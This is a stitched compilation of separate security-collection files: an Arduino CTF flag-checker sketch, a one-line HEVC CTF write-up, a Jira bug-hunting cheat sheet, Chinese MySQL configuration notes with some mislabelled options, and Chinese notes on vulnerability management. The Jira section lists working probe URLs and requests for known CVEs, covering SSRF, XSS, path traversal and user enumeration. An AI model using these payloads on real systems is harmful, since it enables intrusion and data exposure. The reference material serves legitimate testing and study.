void fpu_force_sync() {
fpu_wait();
while (Fpu.sync() != SYNC_CHAR) {
delay(1);
}
}
void fpu_eeprom_upload(uint8_t slot, const void *src, size_t sz) {
const uint8_t *data = (const uint8_t*)src;
const size_t BATCH_SZ = 4; // MUST be 4 (slot size).
fpu_force_sync();
// Upload BATCH_SZ bytes at a time.
size_t uploaded = 0;
size_t next_batch_sz;
while (uploaded != sz) {
// Assume FPU is not busy.
next_batch_sz = (sz - uploaded > BATCH_SZ) ? BATCH_SZ : sz - uploaded;
bool good_write = false;
int retry = 0;
while (1) {
// Start with verify, since maybe the data is already in place (and
// EEPROM reads are about 1000 faster on this architecture than writes).
Fpu.write(EELOAD, 0, slot, LREAD0);
uint32_t v_eeprom = Fpu.readLong();
uint32_t v_written = 0;
if (next_batch_sz >= 1) v_written |= ((uint32_t)data[uploaded + 0] << 0);
if (next_batch_sz >= 2) v_written |= ((uint32_t)data[uploaded + 1] << 8);
if (next_batch_sz >= 3) v_written |= ((uint32_t)data[uploaded + 2] << 16);
if (next_batch_sz == 4) v_written |= ((uint32_t)data[uploaded + 3] << 24);
uint32_t mask = 0xffffffff >> (8 * (4 - next_batch_sz));
v_eeprom &= mask;
v_written &= mask;
if (v_eeprom == v_written) {
if (retry == 0) {
Serial.print('.');
} else {
Serial.print('w');
}
break;
} else {
retry++;
if (retry > 10) {
Serial.println("HARD FAIL!");
Serial.print("\nError at ");
Serial.print(uploaded);
Serial.print(": ");
Serial.print(v_written, HEX);
Serial.print(" vs ");
Serial.println(v_eeprom, HEX);
goodbye();
}
if (retry > 1) {
Serial.print("R");
}
}
// Write to EEPROM.
Fpu.write(EEWRITE, slot, next_batch_sz);
for (size_t i = 0; i < next_batch_sz; i++) {
Fpu.write(data[uploaded + i]);
}
fpu_wait();
}
// Iterate.
uploaded += next_batch_sz;
slot++;
fpu_wait();
}
}
void setup()
{
pinMode(7, INPUT); // Connected to SOUT to monitor Ready/Busy signal from FPU.
Serial.begin(9600);
SPI.begin();
Fpu.begin();
if (Fpu.sync() == SYNC_CHAR) {
char version[16];
Fpu.write(VERSION);
Fpu.readString(version);
Serial.print("FPU version: ");
Serial.println(version);
if (strcmp(version, "uM-FPU V3.1.2") != 0) {
Serial.println("error: incorrect FPU version");
goodbye();
}
} else {
Serial.println("error: FPU not detected");
goodbye();
}
}
void loop() {
Serial.print("Flashing FPU's EEPROM...");
fpu_eeprom_upload(task_slot, task, task_sz);
Serial.println("DONE");
Serial.println("Please enter the flag/password:");
Serial.setTimeout(60000UL);
String flag = Serial.readStringUntil('\n');
flag.trim();
if (flag.length() == 0) {
Serial.println("No flag entered?");
goodbye();
}
Serial.println("Checking...");
fpu_wait();
Fpu.write(STRSET);
for (unsigned int i = 0; i < flag.length(); i++) {
Fpu.write(flag[i]);
}
Fpu.write(0);
Fpu.write(EECALL, start_slot);
fpu_wait();
Serial.print("Result: ");
FpuSerial.printStringln();
goodbye();
}
|
sec-knowleage
|
# hevc (Misc, 50pts, 217 solves)
Welcome to the future.
This task was pretty simple if you notice its title. It turns out `hevc` is the name
of a pretty new video file format. With some googling, I was able to find
command converting it to other, more standard ones:
```
ffmpeg -i out.raw asd.avi
```
The video turns out to contain hand-written flag.
|
sec-knowleage
|
# Jira Common Bugs
## Introduction
What would you do if you came across a website that uses Jira?
## How to Detect
Try to HTTP request to `https://example.com/secure/Dashboard.jspa` or `https://example.com/login.jsp` and there is a form login
1. Find the related CVE by checking jira version
* How to find the jira version
Try to request to `https://example.com/secure/Dashboard.jspa` and then check the source code. You will find this line `<meta name="ajs-version-number" content="8.20.9">` so 8.20.9 is the jira version. If you found outdated jira version, find the CVEs at [CVEDetails](https://www.cvedetails.com/vulnerability-list/vendor_id-3578/product_id-8170/Atlassian-Jira.html)
Some example CVE:
- CVE-2017-9506 (SSRF)
```
https://example.com/plugins/servlet/oauth/users/icon-uri?consumerUri=<SSRF_PAYLOAD>
```
- CVE-2018-20824 (XSS)
```
https://example.com/plugins/servlet/Wallboard/?dashboardId=10000&dashboardId=10000&cyclePeriod=alert(document.domain)
```
- CVE-2019-8451 (SSRF)
```
https://example.com/plugins/servlet/gadgets/makeRequest?url=https://<HOST_NAME>:1337@example.com
```
- CVE-2019-8449 (User Information Disclosure)
```
https://example.com/rest/api/latest/groupuserpicker?query=1&maxResults=50000&showAvatar=true
```
- CVE-2019-8442 (Sensitive Information Disclosure)
```
https://example.com/s/thiscanbeanythingyouwant/_/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml
```
- CVE-2019-3403 (User Enumeration)
```
https://example.com/rest/api/2/user/picker?query=<USERNAME_HERE>
```
- CVE-2020-14181 (User Enumeration)
```
https://example.com/secure/ViewUserHover.jspa?username=<USERNAME>
```
- CVE-2020-14178 (Project Key Enumeration)
```
https://example.com/browse.<PROJECT_KEY>
```
- CVE-2020-14179 (Information Disclosure)
```
https://example.com/secure/QueryComponent!Default.jspa
```
- CVE-2019-11581 (Template Injection)
```
example.com/secure/ContactAdministrators!default.jspa
* Try the SSTI Payloads
```
- CVE-2019-3396 (Path Traversal)
```
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: {{Hostname}}
Accept: */*
Accept-Language: en-US,en;q=0.5 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Referer: {{Hostname}}
Content-Length: 168
Connection: close
{"contentId":"786457","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc5","width":"1000","height":"1000","_template":"../web.xml"}}}
*Try above request with the Jira target
```
- CVE-2019-3402 (XSS)
```
https://example.com/secure/ConfigurePortalPages!default.jspa?view=search&searchOwnerUserName=%3Cscript%3Ealert(1)%3C/script%3E&Search=Search
```
2. Signup enabled
```
POST /servicedesk/customer/user/signup HTTP/1.1
Host: example.com
Content-Type: application/json
{"email":"test@gmail.com","signUpContext":{},"secondaryEmail":"","usingNewUi":true}
```
## Reference
* [@harshbothra](https://twitter.com/harshbothra)
|
sec-knowleage
|
# mysql
---
## my.cnf 配置文件
```bash
port = 3309
socket = /usr/local/mysql/tmp/mysql.sock
[mysqld] # 服务器端配置
!include /usr/local/mysql/etc/mysqld.cnf # 包含的配置文件,可以把用户名和密码文件单独存放
port = 3306 # 监听端口
bind-address = 0.0.0.0 # 监听的 ip 地址 (全0是监听所有网口,即对外开放,不建议⚠❗)
server-id = 1 # MySQL 服务的 ID
socket = /usr/local/mysql/tmp/mysql.sock # socket 通信设置
pid-file = /usr/local/mysql/var/mysql.pid # pid 文件路径
basedir = /usr/local/mysql/ # MySQL 程序路径
datadir = /usr/local/mysql/data # 数据目录
tmpdir = /usr/local/mysql/tmp/
# 此目录被 MySQL 用来保存临时文件. 例如, 它被用来处理基于磁盘的大型排序, 和内部排序一样,以及简单的临时表. 如果你不创建非常大的临时文件, 将其放置到 swapfs/tmpfs 文件系统上也许比较好。另一种选择是你也可以将其放置在独立的磁盘上. 你可以使用”;” 来放置多个路径,他们会按照 roud-robin 方法被轮询使用.
slave-load-tmpdir = /usr/local/mysql/tmp/ # 当 slave 执行 load data infile 时使用
```
### skip options 相关选项
```bash
skip-name-resolve
# 禁止 MySQL 对外部连接进行 DNS 解析,使用这一选项可以消除 MySQL 进行 DNS 解析的时间。但需要注意,如果开启该选项,则所有远程主机连接授权都要使用 IP 地址方式,否则 MySQL 将无法正常处理连接请求!
skip-symbolic-links
# 不能使用连接文件,多个客户可能会访问同一个数据库,因此这防止外部客户锁定 MySQL 服务器。 该选项默认开启
skip-external-locking
# 不使用系统锁定,要使用 myisamchk,必须关闭服务器 ,避免 MySQL的外部锁定,减少出错几率增强稳定性。
skip-slave-start
# 启动 mysql,不启动复制
skip-networking
# 开启该选项可以彻底关闭 MySQL 的 TCP/IP 连接方式,如果 WEB 服务器是以远程连接的方式访问 MySQL 数据库服务器则不要开启该选项!否则将无法正常连接! 如果所有的进程都是在同一台服务器连接到本地的 mysqld, 这样设置将是增强安全的方法
sysdate-is-now = 1
# 把SYSDATE 函数编程为 NOW的别名
skip-grant-tables
# ⚠❗ 在启动mysql时不启动grant-tables,授权表,在忘记管理员密码后有用
```
### 系统资源相关选项
```bash
back_log = 50
# 接受队列,对于没建立 tcp 连接的请求队列放入缓存中,队列大小为 back_log,受限制与 OS 参数,试图设定 back_log 高于你的操作系统的限制将是无效的。默认值为 50。对于 Linux 系统推荐设置为小于 512 的整数。如果系统在一个短时间内有很多连接,则需要增大该参数的值
max_connections = 1000
# 指定 MySQL 允许的最大连接进程数。如果在访问数据库时经常出现 "Too Many Connections" 的错误提 示,则需要增大该参数值。
max_connect_errors = 10000
# 如果某个用户发起的连接 error 超过该数值,则该用户的下次连接将被阻塞,直到管理员执行 flush hosts ; 命令或者服务重启, 防止黑客 , 非法的密码以及其他在链接时的错误会增加此值
open_files_limit = 10240
#MySQL 打开的文件描述符限制,默认最小 1024; 当 open_files_limit 没有被配置的时候,比较 max_connections*5 和 ulimit-n 的值,哪个大用哪个,当 open_file_limit 被配置的时候,比较 open_files_limit 和 max_connections*5 的值,哪个大用哪个。
connect-timeout = 10
# 连接超时之前的最大秒数, 在 Linux 平台上,该超时也用作等待服务器首次回应的时间
wait-timeout = 28800
# 等待关闭连接的时间
interactive-timeout = 28800
# 关闭连接之前,允许 interactive_timeout(取代了 wait_timeout)秒的不活动时间。客户端的会话 wait_timeout 变量被设为会话 interactive_timeout 变量的值。如果前端程序采用短连接,建议缩短这 2 个值, 如果前端程序采用长连接,可直接注释掉这两个选项,默认配置(8 小时)
slave-net-timeout = 600
# 从服务器也能够处理网络连接中断。但是,只有从服务器超过 slave_net_timeout 秒没有从主服务器收到数据才通知网络中断
net_read_timeout = 30
# 从服务器读取信息的超时
net_write_timeout = 60
# 从服务器写入信息的超时
net_retry_count = 10
# 如果某个通信端口的读操作中断了,在放弃前重试多次
net_buffer_length = 16384
# 包消息缓冲区初始化为 net_buffer_length 字节,但需要时可以增长到 max_allowed_packet 字节
max_allowed_packet = 64M
# 服务所能处理的请求包的最大大小以及服务所能处理的最大的请求大小(当与大的 BLOB 字段一起工作时相当必要), 每个连接独立的大小. 大小动态增加。 设置最大包, 限制 server 接受的数据包大小,避免超长 SQL 的执行有问题 默认值为 16M,当 MySQL 客户端或 mysqld
服务器收到大于 max_allowed_packet 字节的信息包时,将发出 “信息包过大” 错误,并关闭连接。对于某些客户端,如果通信信息包过大,在执行查询期间,可能会遇到 “丢失与 MySQL 服务器的连接” 错误。默认值 16M。
table_cache = 512
# 所有线程所打开表的数量. 增加此值就增加了 mysqld 所需要的文件描述符的数量这样你需要确认在 [mysqld_safe] 中 “open-files-limit” 变量设置打开文件数量允许至少 4096
thread_stack = 192K
# 线程使用的堆大小. 此容量的内存在每次连接时被预留. MySQL 本身常不会需要超过 64K 的内存如果你使用你自己的需要大量堆的 UDF 函数或者你的操作系统对于某些操作需要更多的堆, 你也许需要将其设置的更高一点. 默认设置足以满足大多数应用
thread_cache_size = 20
# 在 cache 中保留多少线程用于重用. 当一个客户端断开连接后, 如果 cache 中的线程还少于 thread_cache_size, 则客户端线程被放入 cache 中. 这可以在你需要大量新连接的时候极大的减少线程创建的开销,服务器线程缓存这个值表示可以重新利用保存在缓存中线程的数量, 当断开连接时如果缓存中还有空间, 那么客户端的线程将被放到缓存中, 如果线程重新被请求,那么请求将从缓存中读取, 如果缓存中是空的或者是新的请求,那么这个线程将被重新创建, 如果有很多新的线程,增加这个值可以改善系统性能. 通过比较 Connections 和 Threads_created 状态的变量,可以看到这个变量的作用
thread_concurrency = 8
# 此允许应用程序给予线程系统一个提示在同一时间给予渴望被运行的线程的数量. 该参数取值为服务器逻辑 CPU 数量 ×2,在本例中,服务器有 2 颗物理 CPU,而每颗物理 CPU 又支持 H.T 超线程,所以实际取值为 4 × 2 = 8. 设置 thread_concurrency 的值的正确与否,
# 对 mysql 的性能影响很大, 在多个 cpu(或多核)的情况下,错误设置了 thread_concurrency 的值, 会导致 mysql 不能充分利用多 cpu(或多核), 出现同一时刻只能一个 cpu(或核)在工作的情况。 thread_concurrency 应设为 CPU 核数的 2 倍. 比如有一个双核的 CPU,那么 thread_concurrency 的应该为 4; 2 个双核的 cpu,thread_concurrency 的值应为 8, 属重点优化参数
```
### qcache settings 相关选项
```bash
query_cache_limit = 2M
# 不缓存查询大于该值的结果. 只有小于此设定值的结果才会被缓冲, 此设置用来保护查询缓冲, 防止一个极大的结果集将其他所有的查询结果都覆盖.
query_cache_min_res_unit = 2K
# 查询缓存分配的最小块大小. 默认是 4KB,设置值大对大数据查询有好处,但如果你的查询都是小数据查询,就容易造成内存碎片和浪费
# 查询缓存碎片率 = Qcache_free_blocks / Qcache_total_blocks * 100%
# 如果查询缓存碎片率超过 20%,可以用 FLUSH QUERY CACHE 整理缓存碎片,或者试试减小 query_cache_min_res_unit,如果你的查询都是小数据量的话。
# 查询缓存利用率 = (query_cache_size - Qcache_free_memory) / query_cache_size *100%
# 查询缓存利用率在 25% 以下的话说明 query_cache_size 设置的过大,可适当减小; 查询缓存利用率在 80% 以上而且 Qcache_lowmem_prunes > 50 的话说明 query_cache_size 可能有点小,要不就是碎片太多。
# 查询缓存命中率 = (Qcache_hits - Qcache_inserts) / Qcache_hits * 100%
query_cache_size = 64M
# 指定 MySQL 查询缓冲区的大小。可以通过在 MySQL 控制台执行以下命令观察:
# 代码:
# > SHOW VARIABLES LIKE '%query_cache%';
# > SHOW STATUS LIKE 'Qcache%'; 如果 Qcache_lowmem_prunes 的值非常大,则表明经常出现缓冲不够的情况;
# 如果 Qcache_hits 的值非常大,则表明查询缓冲使用非常频繁,如果该值较小反而会影响效率,那么可以考虑不用查询缓冲; Qcache_free_blocks,如果该值非常大,则表明缓冲区中碎片很多。
# memlock # 如果你的系统支持 memlock() 函数, 你也许希望打开此选项用以让运行中的 mysql 在在内存高度紧张的时候, 数据在内存中保持锁定并且防止可能被 swapping out, 此选项对于性能有益
```
### default settings 相关选项
```bash
default_table_type = InnoDB
# 当创建新表时作为默认使用的表类型, 如果在创建表示没有特别执行表类型, 将会使用此值
default-time-zone = system
# 服务器时区
character-set-server = utf8
#server 级别字符集
default-storage-engine = InnoDB
# 默认存储引擎
```
### tmp && heap settings 相关选项
```bash
tmp_table_size = 512M
# 临时表的最大大小,如果超过该值,则结果放到磁盘中, 此限制是针对单个表的, 而不是总和.
max_heap_table_size = 512M
# 独立的内存表所允许的最大容量. 此选项为了防止意外创建一个超大的内存表导致永尽所有的内存资源.
```
### log settings 相关选项
```bash
log-bin = mysql-bin
# 打开二进制日志功能. 在复制 (replication) 配置中, 作为 MASTER 主服务器必须打开此项. 如果你需要从你最后的备份中做基于时间点的恢复, 你也同样需要二进制日志. 这些路径相对于 datadir
log_slave_updates = 1
# 表示 slave 将复制事件写进自己的二进制日志
log-bin-index = mysql-bin.index
# 二进制的索引文件名
relay-log = relay-log
# 定义 relay_log 的位置和名称,如果值为空,则默认位置在数据文件的目录,文件名为 host_name-relay-bin.nnnnnn(By default, relay log file names have the form host_name-relay-bin.nnnnnn in the data directory);
relay_log_index = relay-log.index
#relay-log 的索引文件名
log-warnings = 1
# 将警告打印输出到错误 log 文件. 如果你对于 MySQL 有任何问题,你应该打开警告 log 并且仔细审查错误日志, 查出可能的原因.
log-error = /usr/local/mysql/log/mysql.err
# 错误日志路径
log_output = FILE
# 参数 log_output 指定了慢查询输出的格式,默认为 FILE,你可以将它设为 TABLE,然后就可以查询 mysql 架构下的 slow_log 表了
log_slow_queries
# 指定是否开启慢查询日志(该参数要被 slow_query_log 取代,做兼容性保留)
slow_query_log = 1
# 指定是否开启慢查询日志. 慢查询是指消耗了比 “long_query_time” 定义的更多时间的查询. 如果 log_long_format 被打开, 那些没有使用索引的查询也会被记录. 如果你经常增加新查询到已有的系统内的话. 一般来说这是一个好主意,
long-query-time = 1
# 设定慢查询的阀值,超出次设定值的 SQL 即被记录到慢查询日志,缺省值为 10s. 所有的使用了比这个时间 (以秒为单位) 更多的查询会被认为是慢速查询. 不要在这里使用”1″, 否则会导致所有的查询, 甚至非常快的查询页被记录下来(由于 MySQL 目前时间的精确度只能达到秒的级别).
log_long_format
# 在慢速日志中记录更多的信息. 一般此项最好打开,打开此项会记录使得那些没有使用索引的查询也被作为到慢速查询附加到慢速日志里
slow_query_log_file = /usr/local/mysql/log/slow.log
# 指定慢日志文件存放位置,可以为空,系统会给一个缺省的文件 host_name-slow.log
log-queries-not-using-indexes
# 如果运行的 SQL 语句没有使用索引,则 mysql 数据库同样会将这条 SQL 语句记录到慢查询日志文件中。
min_examined_row_limit=1000
# 记录那些由于查找了多余 1000 次而引发的慢查询
long-slow-admin-statements
# 记录那些慢的 optimize table,analyze table 和 alter table 语句
log-slow-slave-statements
# 记录由 Slave 所产生的慢查询
general_log = 1
# 将所有到达 MySQL Server 的 SQL 语句记录下来, 默认关闭
general_log_file = /usr/local/mysql/log/mysql.log
#general_log 路径
max_binlog_size = 1G
# 如果二进制日志写入的内容超出给定值,日志就会发生滚动。你不能将该变量设置为大于 1GB 或小于 4096 字节。 默认值是 1GB。如果你正使用大的事务,二进制日志还会超过 max_binlog_size
max_relay_log_size = 1G
# 标记 relaylog 允许的最大值,如果该值为 0,则默认值为 max_binlog_size(1G);如果不为 0,则 max_relay_log_size 则为最大的 relay_log 文件大小;
relay-log-purge = 1
# 是否自动清空不再需要中继日志时。默认值为 1(启用)
expire_logs_days = 30
# 超过 30 天的 binlog 删除
binlog_cache_size = 1M
# 在一个事务中 binlog 为了记录 SQL 状态所持有的 cache 大小, 如果你经常使用大的, 多声明的事务, 你可以增加此值来获取更大的性能. 所有从事务来的状态都将被缓冲在 binlog 缓冲中然后在提交后一次性写入到 binlog 中, 如果事务比此值大, 会使用磁盘上的临时文件来替代. 此缓冲在每个连接的事务第一次更新状态时被创建. session 级别
replicate-wild-ignore-table = mysql.%
# 复制时忽略数据库及表
slave_skip_errors=all
# 定义复制过程中从服务器可以自动跳过的错误号,当复制过程中遇到定义的错误号,就可以自动跳过,直接执行后面的 SQL 语句。
#slave_skip_errors 选项有四个可用值,分别为:off,all,ErorCode,ddl_exist_errors。
# 默认情况下该参数值是 off,我们可以列出具体的 error code,也可以选择 all,mysql5.6 及 MySQL Cluster NDB 7.3 以及后续版本增加了参数 ddl_exist_errors,该参数包含一系列 error code(1007,1008,1050,1051,1054,1060,1061,1068,1094,1146)
# 一些 error code 代表的错误如下:
# 1007:数据库已存在,创建数据库失败
# 1008:数据库不存在,删除数据库失败
# 1050:数据表已存在,创建数据表失败
# 1051:数据表不存在,删除数据表失败
# 1054:字段不存在,或程序文件跟数据库有冲突
# 1060:字段重复,导致无法插入
# 1061:重复键名
# 1068:定义了多个主键
# 1094:位置线程 ID
# 1146:数据表缺失,请恢复数据库
# 1053:复制过程中主服务器宕机
# 1062:主键冲突 Duplicate entry '%s' for key %d
```
### MyISAM 相关选项
```bash
key_buffer_size = 256M
# 指定用于索引的缓冲区大小,增加它可得到更好的索引处理性能。如果是以 InnoDB 引擎为主的 DB,专用于 MyISAM 引擎的 key_buffer_size 可以设置较小,8MB 已足够 如果是以 MyISAM 引擎为主,可设置较大,但不能超过 4G. 在这里,强烈建议不使用 MyISAM 引擎,默认都是用 InnoDB 引擎. 注意:该参数值设置的过大反而会是服务器整体效率降低!
sort_buffer_size = 2M
# 查询排序时所能使用的缓冲区大小。排序缓冲被用来处理类似 ORDER BY 以及 GROUP BY 队列所引起的排序. 一个用来替代的基于磁盘的合并分类会被使用. 查看 “Sort_merge_passes” 状态变量. 在排序发生时由每个线程分配 注意:该参数对应的分配内存是每连接独占!如果有 100 个连接,那么实际分配的总共排序缓冲区大小为 100 × 6 =600MB, 所以, 对于内存在 4GB 左右的服务器推荐设置为 6-8M。
read_buffer_size = 2M
# 读查询操作所能使用的缓冲区大小。和 sort_buffer_size 一样,该参数对应的分配内存也是每连接独享!用来做 MyISAM 表全表扫描的缓冲大小. 当全表扫描需要时, 在对应线程中分配.
join_buffer_size = 8M
# 联合查询操作所能使用的缓冲区大小,和 sort_buffer_size 一样,该参数对应的分配内存也是每连接独享! 此缓冲被使用来优化全联合 (full JOINs 不带索引的联合). 类似的联合在极大多数情况下有非常糟糕的性能表现, 但是将此值设大能够减轻性能影响. 通过 “Select_full_join” 状态变量查看全联合的数量, 当全联合发生时, 在每个线程中分配。
read_rnd_buffer_size = 8M
#MyISAM 以索引扫描 (Random Scan) 方式扫描数据的 buffer 大小
bulk_insert_buffer_size = 64M
#MyISAM 使用特殊的类似树的 cache 来使得突发插入(这些插入是, INSERT … SELECT, INSERT … VALUES (…), (…), …, 以及 LOAD DATAINFILE) 更快. 此变量限制每个进程中缓冲树的字节数. 设置为 0 会关闭此优化. 为了最优化不要将此值设置大于 “key_buffer_size”. 当突发插入被检测到时此缓冲将被分配 MyISAM 用在块插入优化中的树缓冲区的大小。注释:这是一个 per thread 的限制 ( bulk 大量). 此缓冲当 MySQL 需要在 REPAIR, OPTIMIZE, ALTER 以及 LOAD DATA INFILE 到一个空表中引起重建索引时被分配. 这在每个线程中被分配. 所以在设置大值时需要小心.
myisam_sort_buffer_size = 64M
#MyISAM 设置恢复表之时使用的缓冲区的尺寸, 当在 REPAIR TABLE 或用 CREATE INDEX 创建索引或 ALTER TABLE 过程中排序 MyISAM 索引分配的缓冲区
myisam_max_sort_file_size = 10G
#mysql 重建索引时允许使用的临时文件最大大小
myisam_repair_threads = 1
# 如果该值大于 1,在 Repair by sorting 过程中并行创建 MyISAM 表索引(每个索引在自己的线程内). 如果一个表拥有超过一个索引, MyISAM 可以通过并行排序使用超过一个线程去修复他们. 这对于拥有多个 CPU 以及大量内存情况的用户, 是一个很好的选择.
myisam_recover = 64K
# 允许的 GROUP_CONCAT()函数结果的最大长度
transaction_isolation = REPEATABLE-READ
# 设定默认的事务隔离级别. 可用的级别如下: READ-UNCOMMITTED, READ-COMMITTED, REPEATABLE-READ,SERIALIZABLE
# 1.READ UNCOMMITTED - 读未提交 2.READ COMMITTE - 读已提交 3.REPEATABLE READ - 可重复读 4.SERIALIZABLE - 串行
```
### INNODB 相关选项
```bash
skip-innodb
# 如果你的 MySQL 服务包含 InnoDB 支持但是并不打算使用的话, 使用此选项会节省内存以及磁盘空间, 并且加速某些部分
innodb_file_per_table = 1
# InnoDB 为独立表空间模式,每个数据库的每个表都会生成一个数据空间
# 独立表空间优点:
# 1.每个表都有自已独立的表空间。
# 2.每个表的数据和索引都会存在自已的表空间中。
# 3.可以实现单表在不同的数据库中移动。
# 4.空间可以回收(除 drop table 操作处,表空不能自已回收)
# 缺点:
# 1. 单表增加过大,如超过 100G
# 结论:
# 共享表空间在 Insert 操作上少有优势。其它都没独立表空间表现好。当启用独立表空间时,请合理调整:innodb_open_files
innodb_status_file = 1
# 启用 InnoDB 的 status file,便于管理员查看以及监控等
innodb_open_files = 2048
# 限制 Innodb 能打开的表的数据,如果库里的表特别多的情况,请增加这个。这个值默认是 300
innodb_additional_mem_pool_size = 100M
# 设置 InnoDB 存储引擎用来存放数据字典信息以及一些内部数据结构的内存空间大小,所以当我们一个 MySQL Instance 中的数据库对象非常多的时候,是需要适当调整该参数的大小以确保所有数据都能存放在内存中提高访问效率的。
innodb_buffer_pool_size = 2G
# 包括数据页、索引页、插入缓存、锁信息、自适应哈希所以、数据字典信息. InnoDB 使用一个缓冲池来保存索引和原始数据, 不像 MyISAM. 这里你设置越大, 你在存取表里面数据时所需要的磁盘 I/O 越少. 在一个独立使用的数据库服务器上, 你可以设置这个变量到服务器物理内存大小的 80%, 不要设置过大, 否则, 由于物理内存的竞争可能导致操作系统的换页颠簸. 注意在 32 位系统上你每个进程可能被限制在 2-3.5G 用户层面内存限制, 所以不要设置的太高.
innodb_write_io_threads = 4
innodb_read_io_threads = 4
# innodb 使用后台线程处理数据页上的读写 I/O(输入输出)请求, 根据你的 CPU 核数来更改, 默认是 4
# 注: 这两个参数不支持动态改变, 需要把该参数加入到 my.cnf 里,修改完后重启 MySQL 服务, 允许值的范围从 1-64
innodb_data_home_dir = /usr/local/mysql/var/
# 设置此选项如果你希望 InnoDB 表空间文件被保存在其他分区. 默认保存在 MySQL 的 datadir 中.
innodb_data_file_path = ibdata1:500M;ibdata2:2210M:autoextend
#InnoDB 将数据保存在一个或者多个数据文件中成为表空间. 如果你只有单个逻辑驱动保存你的数据, 一个单个的自增文件就足够好了. 其他情况下. 每个设备一个文件一般都是个好的选择. 你也可以配置 InnoDB 来使用裸盘分区 - 请参考手册来获取更多相关内容
innodb_file_io_threads = 4
# 用来同步 IO 操作的 IO 线程的数量. 此值在 Unix 下被硬编码为 4, 但是在 Windows 磁盘 I/O 可能在一个大数值下表现的更好.
innodb_thread_concurrency = 16
# 在 InnoDb 核心内的允许线程数量, InnoDB 试着在 InnoDB 内保持操作系统线程的数量少于或等于这个参数给出的限制, 最优值依赖于应用程序, 硬件以及操作系统的调度方式. 过高的值可能导致线程的互斥颠簸. 默认设置为 0, 表示不限制并发数,这里推荐设置为 0,更好去发挥 CPU 多核处理能力,提高并发量
innodb_flush_log_at_trx_commit = 1
# 如果设置为 1 ,InnoDB 会在每次提交后刷新 (fsync) 事务日志到磁盘上, 这提供了完整的 ACID 行为. 如果你愿意对事务安全折衷, 并且你正在运行一个小的食物, 你可以设置此值到 0 或者 2 来减少由事务日志引起的磁盘 I/O
# 0 代表日志只大约每秒写入日志文件并且日志文件刷新到磁盘.
# 2 代表日志写入日志文件在每次提交后, 但是日志文件只有大约每秒才会刷新到磁盘上.
innodb_log_buffer_size = 8M
# 用来缓冲日志数据的缓冲区的大小. 当此值快满时, InnoDB 将必须刷新数据到磁盘上. 由于基本上每秒都会刷新一次, 所以没有必要将此值设置的太大(甚至对于长事务而言)
innodb_log_file_size = 500M
# 事物日志大小. 在日志组中每个日志文件的大小,你应该设置日志文件总合大小到你缓冲池大小的 5%~100%,来避免在日志文件覆写上不必要的缓冲池刷新行为. 不论如何, 请注意一个大的日志文件大小会增加恢复进程所需要的时间.
innodb_log_files_in_group = 2
# 在日志组中的文件总数. 通常来说 2~3 是比较好的.
innodb_log_group_home_dir = /usr/local/mysql/var/
# InnoDB 的日志文件所在位置. 默认是 MySQL 的 datadir. 你可以将其指定到一个独立的硬盘上或者一个 RAID1 卷上来提高其性能 innodb_max_dirty_pages_pct = 90 #innodb 主线程刷新缓存池中的数据,使脏数据比例小于 90%, 这是一个软限制, 不被保证绝对执行.
innodb_lock_wait_timeout = 50
#InnoDB 事务在被回滚之前可以等待一个锁定的超时秒数。InnoDB 在它自己的 锁定表中自动检测事务死锁并且回滚事务。 InnoDB 用 LOCK TABLES 语句注意到锁定设置。默认值是 50 秒
innodb_flush_method = O_DSYNC
# InnoDB 用来刷新日志的方法. 表空间总是使用双重写入刷新方法. 默认值是 “fdatasync”, 另一个是 “O_DSYNC”.
innodb_force_recovery=1
# 如果你发现 InnoDB 表空间损坏, 设置此值为一个非零值可能帮助你导出你的表. 从 1 开始并且增加此值知道你能够成功的导出表.
innodb_fast_shutdown
# 加速 InnoDB 的关闭. 这会阻止 InnoDB 在关闭时做全清除以及插入缓冲合并. 这可能极大增加关机时间, 但是取而代之的是 InnoDB 可能在下次启动时做这些操作.
```
### 其他 相关选项
```bash
[mysqldump]
quick
# 支持较大数据库的转储,在导出非常巨大的表时需要此项。增加该变量的值十分安全,这是因为仅当需要时才会分配额外内存。例如,仅当你发出长查询或 mysqld 必须返回大的结果行时 mysqld 才会分配更多内存。该变量之所以取较小默认值是一种预防措施,以捕获客户端和服务器之间的错误信息包,并确保不会因偶然使用大的信息包而导致内存溢出。 如果你正是用大的 BLOB 值,而且未为 mysqld 授予为处理查询而访问足够内存的权限,也会遇到与大信息包有关的奇怪问题。如果怀疑出现了该情况,请尝试在 mysqld_safe 脚本开始增加 ulimit -d 256000,并重启 mysqld。
[mysql]
auto-rehash
# 允许通过 TAB 键提示
default-character-set = utf8
# 数据库字符集
connect-timeout = 3
[mysqld_safe]
open-files-limit = 8192
# 增加每个进程的可打开文件数量. 确认你已经将全系统限制设定的足够高! 打开大量表需要将此值设大
```
---
## Source & Reference
- https://blog.csdn.net/bbwangj/article/details/83752142
|
sec-knowleage
|
# 漏洞管理
计算机安全隐患(vulnerability)俗称漏洞(security hole),指计算机系统安全方面的缺陷,使得系统或其它应用数据的保密性、完整性、可用性、访问控制和监测机制等面临威胁。
漏洞管理就是领先漏洞一步,让修复更频繁更有效的一个过程。
当公司业务较少时,一个表格就可以处理完漏洞管理的流程。但是当业务系统增多,安全报告增大时就需要一个好的漏洞管理工具来进行管理。
**抛一个问题:安全测试团队到底应不应该为漏洞数量负责,如果需要负责,那么多好还是少好?**
## 漏洞生命周期管理

### 漏洞的来源
* 内部安全团队发现:通过安全扫描、安全测试等手段发现漏洞;
* 内部非安全团队发现:工作过程中发现的安全问题;
* 外部发现:众测平台、安全服务、个人提交;
### 漏洞管理的问题
* **漏洞如何与具体业务关联**
当公司规模较小沟通靠嗓门的时候不用考虑这个问题,而且业务团队划分也没有很清晰所以这个时候可以直接丢给业务方让他们安排修复。当公司达到一定规模业务增多的时候,我们如果单纯依靠人力来找漏洞属于哪个业务是很费力的,这个时候我们其实很需要安全的资产管理来直接定位到业务方,再来找到关联的人,当然安全资产管理不是本篇的讨论,后面会有一篇专门来介绍。
解决方案:漏洞管理系统与资产管理系统部分数据打通。
* **确保漏洞修复完成**
在很多公司遇到过一个情况:严重高危的漏洞还好,但是经常出现中低危的漏洞提交一个月甚至半年没有修复。
解决方案:安全语业务统一制定一个漏洞生命周期管理标准,不同等级的漏洞修复时间是多久。
* **漏洞报告的留存**
